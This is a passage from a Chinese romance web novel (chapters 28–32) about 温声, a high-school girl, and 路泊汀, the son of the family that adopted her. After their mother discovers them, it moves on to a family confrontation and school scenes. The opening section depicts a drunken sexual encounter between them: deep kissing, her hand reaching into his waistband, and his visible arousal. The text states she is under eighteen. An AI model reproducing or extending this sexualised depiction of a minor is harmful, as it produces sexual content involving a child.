很若无其事地调情,他每次都很配合她。
温声娇娇的笑出声。
好喜欢他。
好喜欢好喜欢。
脑袋凑近,再凑近,额尖抵向他的额头,她的瞳色被背光映得很颓很沉也很浓,细长的双眼皮褶处有柔柔的汗,感谢酒精,感谢黑夜,感谢他们还很年轻的心跳,她甚至还想感谢空气中并不存在的丘比特,她可以直勾勾一直盯着他再也不会觉得害羞,而且越看,她想要的就越多。
原来他的眼睛也可以像蛇吐芯子一样慑出冷热不一的锐光,无声危险又克制,但被他掩饰得很好。
想要点什么……
嘴唇、胸口、小腹、还有手脚和腿都想要,她全身忽然哪哪都不舒服起来,然后……
开始蹭着他。
想要什么呢……
按照以往,路泊汀从来都不等她主动会直接压着亲上去,更何况她今晚算是相当主动了。
但这次他就不。
故意抿湿两瓣嘴唇,故意控制喷在她脸上的呼吸热度,故意以一副被她欺负的受害者姿势陷进沙发,然后低喘轻哼,心跳还很给面子的在她手心下砰砰砰快速鼓动起来。
他才要当那只很可怜的猫。
酒精融开,意识涣散,温声意乱情迷地抱紧他的颈,整个上身贴紧他往沙发里压,细腿/缠他腰上,嘴唇压了下去,边亲还发现他小幅度换了个躺姿,方便她亲的更深,她用湿淋淋的舌尖/舔了一下他同样湿润的嘴唇,黏腻的舔/弄中,又很小声地问了一句:“我这样……会不会压得你不舒服?”
路泊汀膝盖向上一顶,她就又倒进他怀里几分,他搂紧她的腰懒懒地哼笑,摇头,清冷好听的嗓音拖得很长,然后缓声说不会,说她如果太轻他反而没什么安全感,还说她靠的很近所以他的心口这会很软想让她摸摸。
话音停了一下。
等她看过来摸过来时,才哑着声继续说,他的瞳仁比一般人本来就大且黑,看着就会不自觉被吸进去,他说比起她,好像他的生理心理要更依赖她,又撑着下巴去亲她嘴角的湿渍,最后一句话说得极含混不清。
可他们是一个主体,所以她听清了他说的那句话——
“有时候我也想变成你的宝宝。”
他亲了亲她的耳朵,重新躺下,目光避开她,看似将主动权丢给她,又轻声问,“愿意吗?”
29. 酸涩
温声感觉呼吸都不是自己的了,脸红的快要晕过去,幸好光线够暗他应该看不清,气氛静谧,这种彼此交颈咬耳朵的低语厮磨,只对她的悄悄话,比说任何情话都来的亲密,她的心立马软成沸腾的泡泡。
但她说不出任何他那样的话,只知道点着秀气的鼻子像小狗一样去蹭他的脸。
“如果愿意……”路泊汀躺在她身下,长指随意挠着她的头发,“要不要亲一下我。”
想到她吻技很烂,他又教她怎么接吻,知道她不敢亲太狠,还故意引着她,说他有点口渴。
语调戏谑满满又不正经。
眉眼却晃着逗弄的温柔调笑。
他教的接吻技巧左耳进然后在她的脑袋里成了浆糊。
温声吸气吐气努力保持清醒,她是喝酒了,意识还越来越混乱,但他那句渴了也不知道怎么着她就记下了,还记得很清晰。
有什么不敢的?
温声抓他的手摸自己很烫的脸,然后下巴垫进他手心里再次垂下头。
她还不太会换气,只知道要先含,再半咬半吮,她今晚亲得时轻时重,腿偶尔若无其事地碰一下蹭一下。
路泊汀被她蹭地无缘无故笑出声,只不过今晚主动权算是完全交给她了,她亲他承受,她蹭着,他也只能不动声色地喘着音引着她亲,无声中让她再用点力。
抱的很紧,身上汗湿也越多。
谁和谁的脸热潮绯红,谁又和谁眼里细汗沥湿。
由于姿势原因,他躺她趴,他低她高,喘息时唇间挑出一条隐现细长的水丝,要断不断的。
他很渴啊,他渴了……
你快喂他呀……
酒劲开始袭来,温声眼神迷离,趴在他身上两手轻捂上他的耳朵,热息吹向他,最后很自然地悬在他上空,离嘴唇很近,然后任由水向下滴,越滴越多,气息越来越热。
“…咳咳……”
路泊汀的喉结上下快速鼓动,喝太多,突然呛咳起来,俊脸微红,水溢出,温声用小手轻盖上他眼帘,抬头,重新堵上他的唇又一阵杂乱无章的啃咬。
亲的迷迷瞪瞪,亲的醉意更深,她还无意识换了方向,探着舌慢慢去碰他的舌尖,半亲半吮间唤他:“还渴吗?”
这不是很会么?
路泊汀压挑着一侧眼梢低低哑哑地笑出来,笑意莫名撩人,接着嗯了声。
他一笑温声也就跟着笑,她还皱紧眉头逼他别笑,探着脑袋再次亲起来,他握紧她的颈回应,两人气息大乱。
她慢慢往下挪,顺着他精致分明的颌线开始亲,尤其在锁骨偏上的位置吸弄出好几处深红印子。
手也偷偷从下面裤沿探了进去。
剩下另一只手,每一根细指和他紧扣,再拽起他的手,抬眼漫佻地看他,嘴唇在交握的指间轻碰了好几下。
温声似真似假地撒了一句醉意朦胧的娇:“我不想动了……”
刚要换气,就见他两臂撑着沙发,陡然抬高半身,嘴唇压了上来。
“唔…还渴呀……”
路泊汀利落翻过身,动作一变,他很欺负人地利用身高体重优势压倒她,还捞出她不老实的手重重拍了一巴掌,温声扁着嘴巴高呼好疼好疼,他又不太温柔地托着她的背,低头开始顺着她的颈边一路往下。
有一种极致的颤栗从皮肤延伸到神经,最后在对视的目光里轰然炸开。
扑在彼此脸上的气息混着酒气越来越急促,喑哑的喘息变得越来越重,周围空气里像加了怪诞迷幻的五色汽水,到后来两人完全看不清对方的脸。温声从一开始的主动到现在被他彻底围剿,她身上哪哪长得都很完美,穿着他的短袖衣领又低又松垮,都不用拉下,他完全能看到那片腴边。
温声难受的哼唧起来,“热死了……”
路泊汀察觉到自己的腿又被蹭了起来,吹着她的眼睛,轻声警告:“别老蹭,能不能顾点我感受啊,你没发现有什么变化吗?”
裤子都快被顶烂了。
他也难受,抱着她翻身侧躺下,又锁住她的两腿作掩饰。
温声这会很迷糊,只知道他身上好好闻想贴着抱着永远不撒手,最好是不用出力就可以挂在他身上,尤其他说话时连气音都变得失真低哑,像硬糖被嚼碎时发出沙潦的响声。
他是她的。
只属于她。
路泊汀属于温声,温声属于路泊汀。
路泊汀和温声是等同的整体,他就是她。
想和他走一辈子,想生生世世都跟着他。
温声混沌的大脑不断加深到确认他属于她这个事实后,心里涌上不知是感动还是其他乱七八糟的酸酸软软的情绪,有点像劫后余生的感激,她知道这个词可能不恰当,但她在涣散不清醒的意识中还能确定自己非他不可,还能感知并明确感应到他同样同等地很爱自己。
这种认知像神经的条件反射,像生命迹象的脉动搏起,是需要极限的条件才有的缘分。
是他和她的情不自禁。
是排他性到极致的相爱。
大千世界,人海茫茫。菩提相识,一缘一会。
能相爱,本身就不容易。
如果不是他,如果没有他,她绝对不会长成现在的自己。
所以用劫后余生形容她的心情再恰当不过。
半天没动静,路泊汀拨开她脸上的长发去找她眼睛,然后就看到她悄无声息地正在掉眼泪,眼泪花顺着红红的眼角成顺滚下,也不出声,就静静看着他,眼睫湿黏一片,一眨不眨的,眼神清明没有任何醉意。
呼吸倏尔隐隐沉沉,他重新环紧她的腰让她平趴在自己身上,然后用温软的嘴唇给她擦眼泪,大手轻拍她的背,哄得无声无息,很安静谁都没说话。
她很爱哭,他知道,她随时都能哭,他知道,她心思极细腻性格敏锐又脆弱,害怕孤独同理心还很强,他也知道。
他都知道。
如果眼泪是一团毛球,那他就给她一条一条理顺,一点一点擦干,直到陪她找到能让情绪宣泄的出口。
“我这不是在吗?”
他猜到了。
“宝宝……”温声叫了一声他想听的,哭声却压抑。
她的脸全埋进他脖子,热热的眼泪滴满他颈边,触觉湿湿滑滑,她每次这种哭,他胸口就刺得慌,喉咙一时发紧发涩,他轻拍她的后脑勺,等她接着说。
“你会离开我吗?”
她拱进他怀里抱紧他,自己却先摇起头,肩膀细颤,声音哽泣地说:“能一直在我身边吗,我想和你结婚。”
只想和他结婚。
她的生理和心理同样也离不开他。
路泊汀亲了亲她湿湿的耳朵,想说话,她又接着开口。
“除了结婚,还有什么办法能让你一直在我身边…对不起我想不出……对不起……”
她努力吸着鼻子,气息却越来越抑制不住地抖,哭得更凶了。
那盘冰淇淋蛋糕已经融化,上面的坚果慢慢滑了下去,酒杯被昏暧的壁灯照的曛光点点,从小小的烟黄色菱形反射光里,她反复用额头蹭他的脖子,夜晚出奇的静。
路泊汀平时情绪很稳,对其他人和事从不上心,但一碰到她,这会心里那道防线有点崩。
“我是不是很自私啊,你的生活里也不能只有我……”温声一直摇头一直哽咽地自顾自说,不让他说话,溽烫的眼泪砸进他心里,“但世界这么大,如果哪一天我突然就找不到你了,我该怎么办……你在身边的话,我做什么都会有底气,可如果你不在呢?我自己不太行的宝宝……”
她再不愿承认,这十来年里她的吃穿住行,一切一切的成长轨迹,身后总有一个他。
就算十年精心养一棵树,现在也该长成了原地扎根枝叶粗壮的大树。
何况她是有血有肉的人,潜移默化地陪在她身上的时间和精力比养一棵树要多出太多太多。
可人不是东西,不是她绑在身边或者藏进宝物箱就能一直留住的,人只要是人,同频的脚步就随时都会走散。
“我们聊聊。”
半晌,路泊汀盯着天花板出声,低声透着压抑。
没人知道在这一两分钟的空白里他想了什么。
温声看上去很累,无力地趴在他怀里没吭声没反应。
“是我让你没安全感了吗?”
他先问第一个问题,长指顺着她的头发,“可以不用回答,但让我知道你在听。”
温声只好吸了吸鼻子,脑袋动了动。
“最近才有还是一直都有?”
怀里的小姑娘抱他的腰更紧了。
黑暗中,路泊汀了然地吐着气,“不想我考出去吗?”
当然不是。
谈不谈恋爱,都不能影响学习。
这是约定好的。
温声开口时忽然失声了,清了清嗓,才轻声说:“我有想过你要是去外地读书,我也要考过去,就一年时间也不长,而且节假日你应该会回来吧……会回来看我吗?”
废话。
路泊汀这回轻轻捏她的脸蛋,又搓起她的小耳朵,说起另一件事:“最近我有几场考试马上要开始了,是有点忙这个我承认,等下个月考完回来每晚我去接你,好不好?”
他侧过身让她在怀里靠得更舒服一些,下巴蹭开她额前汗津津的小碎毛,嗓音很轻又很沉,理着思绪继续说:“我有次梦到你不在家身上也没钱了,有人欺负你带你去垃圾场逼你吃垃圾,我看到你了,但是我发不出声也动不了——”
本来挺沉浸的气氛,他说的也挺难受。
“……我吃垃圾?”
温声倏地睁开眼,他身上很热,贴紧他随他胸口起伏脑袋迟钝地转着,突然抓住他的话茬。
……
路泊汀被打断,啧了一声,低眼瞅她:“这是重点么?”
“当然是!我才不吃垃圾!你梦错人了吧,不是我啊!”
路泊汀扯唇冷笑了一声,有点嫌弃地推了推怀里的人,声音这会儿毫无起伏:“往外点,你挤到我了。”
“我有洁癖啊怎么会吃垃圾,就算被人宰了我也不可能吃垃圾!”温声又开始嘚啵嘚啵起来,抱住他的腰往死里勒,说话虽然还带哭腔,但有股子你竟然还能梦错人的震惊执拗,“记住了哟,我不可能被人欺负的,谁敢欺负
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我我弄死他,我现在强的可怕。”
依旧挺莽。
好事儿。
路泊汀勉勉强强重新搂住她,刚才想说的话被她一打断就失了味,酝酿两秒,叹了声气接着说,“在梦里我很难受,第一次很难受,因为你看上去很……”他脑子里开始想词儿,温声又接话,这有什么难想的,不就是觉得她可怜吗,接的很顺口,“很笨很乞丐很流浪狗嘛。”
bingo。
路泊汀笑了笑,在她耳边逗猫似得打了记响指,“就这词,在梦里我知道它是梦,当时有点鬼压床,而且我们还没在一起,但是脱离家里的关系想一直照顾你的想法也是从那晚开始有的。你说想结婚,这事没在一起前我就想过,等你到年纪的那天,我就带你去领证,你什么事都不用想,只用把注意力放我身上就行。”
他已经上手扫两人之间的障碍了。
有话语权还能自己承担责任,成年人可能就只剩这点好。
温声的笨脑袋又开始转,“可是结婚还没到年龄,爸妈也不知道我的事……”
路泊汀知道她多虑什么,目前还不打算告诉她自己已经独立门户这事,只是装模作样又很遗憾地喟叹一声:“那该怎么办才好呢?”
“想现在就去结婚。”温声瓮声瓮气地说,窝在他怀里吸了吸湿湿的鼻子,知道不可能但还是不依不饶地和他掰扯起来,“想今晚就去,就现在,你带我去吧,我穿你的白衬衫,你给我绑麻花辫,需不需要准备其他东西啊……没结过婚还真不知道……我要不要化个淡妆呢?还是化个浓妆吧看上去还能成熟几岁,我的书包里好像还带了身份证……”
她越说哭声就越哽,也不知道怎么了今晚眼泪能这么多,最后还小小声地埋怨一句:“怎么幸福离我总是这么远……”
路泊汀眼圈也有点红,但还是弯唇笑着去亲她,“急什么,我又不会跑,倒计时一下吧,今天九月三十号,距离你十八岁还有327天,等到了那天,我们带上身份证先去民政局试试看,不行就带你去国外。”
温声噗嗤笑出声,边回应他的吻,边说:“那这么说还有三百多天我就是你老婆了?”
“不一直是么。”
一晚上,他哄着她说了很多话,从以前到现在,又说到以后。
温声是哭着睡过去的,路泊汀热完牛奶回到浴室,房间里温度很高,她的脸颊微微泛红,呼吸平稳睡得很沉,他没叫醒她,给她盖好被子后,又拿出一个相机,有些老的款式,里面拍了两人小时候的很多照片,他一张一张划过,停在一张合照上面。
照片是十年前姚女士带他俩去法国陪路康过年,在唐人街的一家唐装店拍的,照片里她穿了一件大红色的孔雀碎花纹唐装,圆乎粉嫩的小脸蛋埋进领口的白色貂毛里,只露出一对笑弯的莹莹眼睛,他身上是一件湖蓝龙腾刺绣花纹的中式棉袄,衬的一张鲜眉亮眼的脸很俊俏,表情打小就很拽很酷,正一脸鄙夷地看她手里已经融化的冰淇淋。
两个小人长的太标致了,姚女士快速抓拍了一张,光影模糊,照片有些跑焦。
但依然可以看出他的视线一直在她身上。
长指快速划过,路泊汀从被子里小心地捞出她的细手,十指相扣,相机对准两人交叠的手,咔嚓——
定格。
又把她的手窝回被子里,看了一眼照片,起身走到书桌前打开最下面的抽屉,他扫过放在里面的一叠纸张,将相机压在上面。
快速合上抽屉。
第二天温声早上七点就醒了,她是被闷醒的,路泊汀胳膊横在她的身上,压得她喘不过气,他的半张脸隐在枕头里,睫毛浓密纤长,鼻梁挺直英气,皮肤比她还要细腻白皙。
嘁,凭什么他就比自己长的好看?
昨晚喝醉的事能不能记起都不能记起。
温声憋着气,小心翼翼地移开他的胳膊,又转头看向他,确认没醒后,身体一点一点的往床边移。
她想上厕所……
突然,腰间又横过来他的胳膊,她心里直窝火,但又不想吵醒他,于是伸手慢慢推他的胳膊。
结果这次推不开。
她哼哧哼哧的,手上的力度大了一些。
依然没推开。
“呵。”他闷在枕头里低笑,“偷偷摸摸的想干什么?”
“我想上厕所……”她挨着他热烘的腿,脸顿时红了一片。
“要不要我陪你?”他抬起一条腿不客气地压住她的腿。
“你不要压我,太重了。”
“哪儿重?”他好像没太明白,身体朝她这边靠近。
温声都快被挤到床下了,瞪他:“你别挤我,马上要掉下去——”
门铃突然响起。
两人静声。
温声都愣了,哆哆嗦嗦又藏进被子里,路泊汀长指随意弹向她脑门,下床只套了件短裤就去了门口。
监控里,姚女士戴着墨镜在打电话,他又瞥向桌子上嗡嗡震动的手机。
黑眸轻阖一瞬,大脑快速过了几秒,二话不说开了门。
姚书文一怔,盯着儿子颈侧的吻痕,喃喃一声:“我……我没走错吧?”
30. 撞见
路泊汀站在门内,眼神平静,看不出任何情绪,“妈。”
房间内隐约飘着淡郁的潮气,姚书文是过来人,立马就知道发生了什么,只不过她还是被吓到了,“你……”
“您看到什么就是什么。”
没任何狡辩,语气还是很淡。
姚书文喘了声气,她没进门,就在门口,“你意思是你交了女朋友带回家过夜,还当着妹妹的面?”
那双幽黑深邃的眼睛半敛下,细如漩涡的眸光却直直看向她。
“说话。”
姚书文摘下墨镜,精致的面容染上一层愠色。
半晌,他点头。
姚书文将手里的提包倏地砸向他,包带的皮锁顿时刮过他腹部,皮肤立马多了一道红痕。
但他依然站得很直,神情疏冷。
“我看你是真疯了。”姚书文拾起掉到地上的包,手指重重点着他:“去让妹妹收拾好东西,我在楼下等她,你今晚回翠苑一趟。”
说完朝里边紧闭的房门深看了一眼,她接着扫过他脖子处的吻痕,满脸复杂,仍是难以置信,“你现在怎么会这样……”
说不下去,转身快步进了电梯。
温声趴在床上,姚书文的话她全听见了,抓过被子用力蒙到头上,呼吸很沉,直到心脏憋出一阵闷痛,手劲才慢慢松开。
掀开时,路泊汀已经走了进来,靠在门口,头微垂,声音低沉还带着没睡好的半哑:“想不想找到你真正的父母?”
温声本能地抱紧被子,琢磨着他的表情和语气,但他神情如常看不出什么,她思索后说:“不了,现在这样就挺好的,而且他们可能早就不在了,就算在……我也不想再碰面。”
去找一对打出生就抛弃自己的父母,她只要想想都觉得膈应。
没任何意义。
就这一句话,路泊汀点了点头,再次抬眼,又恢复平时的轻笑,走过来捏了把她的脸,“收拾一下送你回去。”
盯着他隐晦不明的眼神,温声拉住他的手轻晃,“如果我们今天被发现了怎么办?”
眼底透着迷茫和无助,无故扯着他的神经,他弯腰撑在她身侧,低头吻她的唇角,悄然低语:“迟早会发现,别怕,我来解决。”
两人简单收拾了一下,温声刚要合行李箱时,突然想到什么,扭头就问:“那份报告你什么时候给我?”
路泊汀从衣柜里翻出一件高领拼色棒球服,闻言瞅了她一眼,当着她的面走到放相机的抽屉前。
拉开,取出文件,在她还没看清时,抽屉又被倏尔合上。
“回去后放自己的保险柜里。”他低下身对上她清莹水润的眼睛,“以后不要拿出来。”
温声扫过那份鉴定报告——检验结果排除路康是温声的生物学父亲。
白纸黑字,右下角红色公章历历可见。
虽然是早就知道的事实,但是拿到结果又是另一种感受。
她将那份文件格外小心地放进行李箱最底下,路泊汀又给她套上外套,领口可以遮住昨晚的红痕,手背轻蹭过她的脸,“宝宝相信我吗?”
他的衣服宽大暖和,温声将下巴埋进领口里,半截眼帘也埋了进去,目光瞄向他,然后点着头语气强自轻松地说:“信啊,反正天塌下来还有你先撑,我又不怕。”
路泊汀单手抱紧她,很快松开,牵起她的手下了楼。
姚书文在车里看到他俩走出来,尤其儿子还牵着女儿的手,面上一时有些愣然,温声上车后低头避开她的视线,小声喊了声妈妈。
她目光在两人身上无意留了一下,笑了笑,招手:“乖宝坐到妈妈旁边来。”接着冷眼瞥向身后的儿子,故意挤兑他:“你上去哄你女朋友吧,晚上再回来。”
驾驶座的李叔听到这话从后视镜看了一眼路泊汀,他穿的低领卫衣,脖子露出几点很明显的紫红色印子,很扎眼也很暧昧。
他又快速转过头。
路泊汀对自己的妈时不时刺他一下已经习惯了,扯起唇温和一笑:“我对象很乖,晚点再哄。”说完长腿一跨,坐进了副驾驶。
温声埋进衣服里的脸有些发红,姚书文眼皮耷拉下来冷眼睇他,又靠向旁边的女儿,柔声问:“阿声很冷吗?”
温声身体一僵,飞快摇头:“我就是没睡好。”
李叔这回从后视镜暼了一眼温声,她穿了一件很大的黑灰色外套,从进车后就一直没抬头,以为是冷,他随即开了车内的暖风。
“你哥他……”姚书文忽然贴到她耳边小声问,“昨晚有没有吵到你?”
温声脖子缩的更低了,路泊汀胳膊支着窗,手指轻揉太阳穴,有些无奈地出声:“妈,够了啊,她没睡好就让她休息会儿。”
姚书文冷笑一声,抱臂看他:“她没睡好怪谁?”
车内顿时安静下来,温声伸出下巴缓解气氛,“我就是认床睡得很晚。”
认床?
睡姿一晚上都没换,一条腿压在他身上还时不时蹦出一两句梦话。
路泊汀赖赖抚着下巴又是一声哼笑。
姚书文手上的咖啡空纸杯从后面丢他身上,眯眼警告:“回家算账,少在这儿嬉皮笑脸。”
回到怡翠苑时,路康已经坐到客厅在等他们,姚书文电话里简单和他说了两句,只知道混账儿子又做了混账事,好好的国庆假期一早就要坐下来开始训人。
路康给他们三人一人一杯沏好茶,端到姚书文面前时尤其小心:“别气别气,快喝点茶去去火。”
路泊汀没什么表情,仍旧很嚣张的敞开两条长腿,端起茶杯没什么礼节地仰头大口喝完。
大有要打要骂随时恭候的架势。
路康有些嫌弃的瞧他:“能不能慢点喝……”
还没说完,姚书文就开始发问了,脸色很沉:“你和你女朋友在一起多久了?”
“一年。”
“什么时候住一起的?”
“昨天。”
路康半路插进来,有些惊讶:“儿子,你们高中生这个速度会不会太快了?”
他说的还算委婉。
但姚书文一点颜面都不打算给他:“还当着妹妹的面,你真是不要脸。”
不要脸的路泊汀自顾自给自己倒水,爹妈一个唱白脸一个唱红脸,双管齐下,想想就觉得有点好笑,于是起身给他们添茶,“我交女朋友很正常吧,成年人做点喜欢的事有问题么?”
旁边的温声捧着热水一口一口地慢慢喝着,她谁也没看,也不出声,想要竭力缩小自己的存在感。
最好是当她不存在。
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姚书文缓了缓语气接着问:“她成年了是吗?”
路泊汀倒水的动作一顿,下意识看到右侧,温声险些被含在嘴里的水呛到,他抽出纸巾很自然地擦她嘴角,又不紧不慢的回话:“今天有关她的问题我一律拒绝回答。”
姚书文这下真生气了,两手用力震向桌子,厉声开骂:“你个混蛋,你竟然还和未成年搞在一起,你到底在想什么?你是不是真的疯了啊?!”她气得呼吸不稳,上手又一掌甩向一旁不知道说什么的路康的肩,力度大到路康也呛了一口水。
父女两人默默对视一眼,紧接着匆匆别过头。
这种时候只要多说一个字,那都是陪揍的完犊子。
“我和我爸早就说过,我会对她负责一辈子,没有什么比这件事还让我确信。”路泊汀忽然凑过身,手腕搭在温声的椅背上,身子也朝她的方向倾,“哪怕她不要我了。”
温声目光不受控地快速瞟了他一眼,察觉到她的视线,他坦直地看向她,黑漆漆的眼里雾气散尽,唯有她能看清剩下的深挚眷恋。
路康是个开明的人,也是个怕老婆的人,于是开始在老婆孩子旁边周旋:“我是觉得儿子做的不对,但他这个年龄对男女感情的渴求会更强烈一些……”看到老婆杀过来的眼神,话弯陡然一转,“所以儿子,你和你妈道个歉吧。”
路泊汀浅浅一笑,语气却刚硬强势:“我最该道歉的人应该是她,”他的身子俯过来更明显,“从昨晚她来宁湾找我,在今早,在现在,我应该搂着她睡一觉,醒来后抱着她去泡个热水澡,在她最需要的时候,我就在身边。”
“而不是现在,为什么我要听一大段莫名的指责?”
“妈,我是真喜欢她。”他又看向姚书文,全然没有刚才的慵懒放恣,“我只喜欢她,只有她。”
姚书文和路康相视一瞬,客厅内登时变得安静,临近中午的阳光从庭院的树荫照进来,温声的一颗心忽上忽下的,她手里抱着茶杯,茶水温了杯壁泛凉,但有股温软的暖流顺着指尖淌入心房最深处。
还是路康先出声,他也不太懂路家怎么净出情种,假意咳嗽一声,朝他们摆手:“行了,你们都回房间吧,午饭好了再下来。”
姚书文没什么表情地觑了他一眼,一想到给自己台阶下的还是自己的老公就一阵气,推开面前的杯子起身,“这事再说。我要去书房,你们都不要吵我。”说完自己就先上了楼。
路泊汀牵起温声打算闪人——
“儿子。”
路康叫住他,指着上楼的姚书文的背影,低声警告:“后悔的事不要做,伤害姑娘家的事不要做,让妈妈担心的事不要做。三点记住了?”
路泊汀点了点头,轻声道:“谢谢爸。”
看了一眼儿子女儿牵在一起的手,路康心里些许怪异,但也没多想,赶忙上楼去哄老婆了。
路泊汀带着温声直接进了自己的房间,门关上,他整个人就欺了过来,嘴唇贴蹭她的唇角,手指轻压她颈边,又上移轻捏她的耳垂,舌尖直直探入,干净燥热的掌心突然捂住她的耳朵,听觉变得朦朦沌沌,两人之间所有的呼吸和低吟被彼此悉数吞下。
在一片扑朔迷离的视线里和模棱恍惚的声息下,她听见他轻声说。
“宝宝,对不起。”
31. 罗味生煎
国庆假期结束后,路泊汀就去京市参加金秋营的比赛了,临走前两人还定了个约定:她期末考进班里前十,寒假就带她去沙漠看星星。
天气转凉,温声趴在桌上无聊地摆弄着手里的手机,他已经去了快一周了。
这人今天还没给自己发消息……
贺厉接完热水回到座位上,保温杯还是放在离她很近的位置。
温声去找过班主任王立明提出想换座位,但是被拒绝了,理由很简单,人家贺厉的成绩班里前三,她成绩一般应该多利用资源。
上课铃声响起,王立明夹着数学课本走进来,这堂课讲直线方程的内容,温声打起精神拿出笔记本。
“我要先叫一位同学回答我上节课留下的问题。”王立明站在讲台上,杵起眼镜扫过下面的学生,看见温声低着头没看讲台,于是很愉快的叫她起来。
温声一懵,上节课的东西……
她有些无措地站着:“王老师,我忘记您提过的问题了,可以再说一遍吗?”
教室里响起似有似无的笑声,尤其靠近后排墙角,江乐橙瞥向笑的最大声的唐媛,只见她正往这边挑衅冷哼。
唐媛和温声的结怨还是在上学期,两人代表学校去省里参加青少年芭蕾舞大赛,唐媛比赛前喝了冰饮闹肚子,温声替她买了药,结果她自己去门口取药的时候从台阶上摔倒脚崴了,比赛没有比成,也导致后面大半年的很多赛项都取消了。
温声取得了个人比赛的银奖后自然而然就成了她的出气筒。
“空间向量的那张卷子,后面倒数第二道大题的最后一小问,你的答案是什么?”
温声愣起神,完了,那张卷子忘记带了……
她窘的脸都红了,刚要张嘴说不知道,旁边的贺厉递过来一张纸条。
上面写了答案。
唐媛又开始笑,笑声窃窃刺耳,温声微蹙眉,面无表情瞟了她一眼,很快念了纸上的数字。
坐下后,她朝贺厉低声道了谢,他温和一笑,转过头继续记笔记。
温声轻呼出气,抬头也开始认真听课。
下课后,江乐橙从前排递给她一瓶酸奶,瞧见她还在算题,有些纳闷:“阿声啊,我们现在才刚上高二,你别给自己太大压力啊。”
温声换了页草稿纸,又拿出下节课的地理课本,有些茫然地抬头看她:“可是高中都要过去一半了啊。”
江乐橙咬着吸管,万分纠结地瞅了一眼自己书包里的几本漫画,还都是她刚买的热乎的最新的……
呶呶嘴把那几本漫画丢给了同桌,“送你了,姐也要崛起了。”
同桌一副惊悚脸。
放学后,唐媛挎着书包晃到温声桌前堵住她:“下个月学校的舞蹈大赛你要参加吗?”
温声觉得挺没劲,“你问我我问谁?”
唐媛一时语塞,换了个站姿继续问:“你如果参加的话学校肯定又是安排我们一起,但是我不想和你,所以你自己退出懂吗?”
温声还在整理桌兜里的试卷,每一科都归类整齐,眼神很冷淡地扫过她:“不懂啊。”
唐媛被她堵得说不出话,只好用手指敲在她桌子上警告道:“我就只说这一次,你要是参加我肯定不会放过你。”
温声这下连理都懒得理,冷嗤一声,接着整理书包。
等到唐媛走后江乐橙才回头:“不是,她有病吧?一直拉踩你干嘛?”
因为她喜欢路泊汀。
温声收拾好书包,弯眼笑了笑,“走吧,今晚请你吃烤肉。”
两人挑了一家评分还不错的网红日料店,新中式的设计,这个时间段店里没什么客人,温声挑在靠窗的位置,店内的魔豆吊灯一颗一颗发出柔和的光束,汇在木质餐桌的花纹上显得纹路很精细。
她又看向窗外,外面天色已经暗了下来,玻璃反射出灯光的橘色光晕,像一片萤火,她觉得好看随手拍了下来,又发了一条仅路泊汀可见的动态。
两人点完菜后,手机响了。
温声低头看向来电的人,想到今天一天他都没给自己发消息就想挂断,但又担心他时间紧打不了太久电话,于是快速调整表情接起电话:“喂?”
语气冷不丁。
坐在对面的江乐橙瞅她一副装模作样的样子,头埋低,一边看手机一边竖起耳朵偷听。
路泊汀低声一笑,她的拿腔作调他全收,“在干嘛?”
“吃饭。”
依然很冷淡。
不到两秒,那边突然挂断电话。
温声都懵了,这就挂断了?
鼻子一酸,再也不想理他了。
又是短暂的一刻,通话接着打过来,温声吸吸鼻子,漠然挂断。
结果这次手机没动静了。
江乐橙抬眼注意到她眼圈都红了,于是慌忙给她递纸:“这是怎么了?刚才不是还好好的吗?”
桌子上的手机突然响了,江乐橙一看来电,急匆匆地把自己手机递给她:“是你家哥哥的!”
温声只好接过,晾了他几秒钟,接起。
“干嘛?”嗓子都哑了。
“哭了?”
“要你管。”
行,标准口头禅。
他开始哄,嘈杂的餐厅内,耳边贴着他温润清冷的声音:“今天一直在户外,信号不好手机也没电了,不是故意不给宝宝发消息的。”
温声酸酸的小心脏突然就软了,语气也变得娇俏起来:“我又没等你消息,我今天一整天
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都在认真学习。”
嘴角却开始上翘,盈盈笑眼注视着桌面上的花纹。
是很认真的在接电话的模样。
江乐橙两手接过服务员手里的菜品,偷偷瞄了她一眼,又给她拆了一副碗筷。
恋爱里的人都这样吗?
“是吗?那我回来检查。”
温声对着玻璃翻了个白眼,人长得漂亮,做什么表情都好看,于是继续很傲娇地哼道:“你就等着寒假我狠狠宰你一笔吧。”
电话那端的路泊汀又是浅笑一声,胸腔振动发出的低缓音质像颗粒一样碾过她的耳孔,“我下周就回来了,回来请我吃罗味生煎吗?”
温声忍不住揉耳朵,“回来再说,你回来我还不乐意见你呢。”
“想你……”他突然一转。
温声还没反应过来。
他好像又拿过手机贴近话筒,轻声道:“很想你。”
异常清晰温柔的一声。
温声的小脸慢慢发红,一双大眼睛被水杯里细碎的水光映得十分明亮莹润。
路泊汀那边还有晚会要开,又简单聊了两句后挂了电话。
温声还给江乐橙手机时,才反应过来自己好像没回应那句想你……
江乐橙已经拿着烤肉夹在翻蔬菜了,朝她眨眨眼大声揶揄道:“想你哦~”
温声厚着脸皮接过她手里的夹子自己烤,心情和刚坐下时完全不一样。
“你们俩关系什么时候这么好了?”简直突飞猛进啊。
温声抿紧唇没泄半分表情给她,“快吃饭啦,吃完我还要回去上网课。”
姚书文给她专门找的全科名师补习。
“不是吧阿声,你真的变了。”江乐橙抱头一声痛呼,突然多了个爱学习的朋友有点遭不住。
温声回家后,翻出自己手机相册里之前偷拍他的一张照片,当时李叔来接两人回家,他又贱兮兮的说了一些流氓话惹了她,上车后不让他坐后座,他只好叹着气坐回副驾驶。
当时傍晚的橘色余晖从车窗斜后方照在他发顶,黑色碎发蓬松清爽,他从耳侧伸过来左手,腕骨干净冷白,手腕处缠着黑色的细手串,指节修长分明,很漂亮的一只手,这会儿手背朝她示弱地晃了晃,凸起的淡色青筋在阳光下几近透明。
温声悄悄看了一眼李叔,见他没朝这边看,于是食指飞快勾过面前的指尖。
他的手又朝她晃了晃,温声只好右手掌心朝上用食指勾住他,左手拿出手机,拍下了两人在阳光下发光的指尖碰触。
但是他的手一直没放下,指腹轻轻摩挲她的指尖很久,直到停车后才如无其事的收回手。
温声将那张照片发了朋友圈,配文简单几个字:hi,我的罗味生煎。
32. 好想你
第二天回到学校,贺厉将一本自己做过的数学题库放到她桌子上,淡笑道:“这个是王老师让我给你的,里面有一些重点的知识点和高考题型,你可以参考一下。”
温声对他还是有点别扭,只好硬着头皮接下:“谢谢你啊。”
“阿声,我看学校组织了少美联赛,有摄影展诶,我记得你之前参加过类似摄影展,要试试看吗?”
江乐橙给了她一张报名表,温声拿在手里仔细看了看报名流程,摄影她还挺擅长的,而且很喜欢。
班里突然出现一道突兀的音乐声——
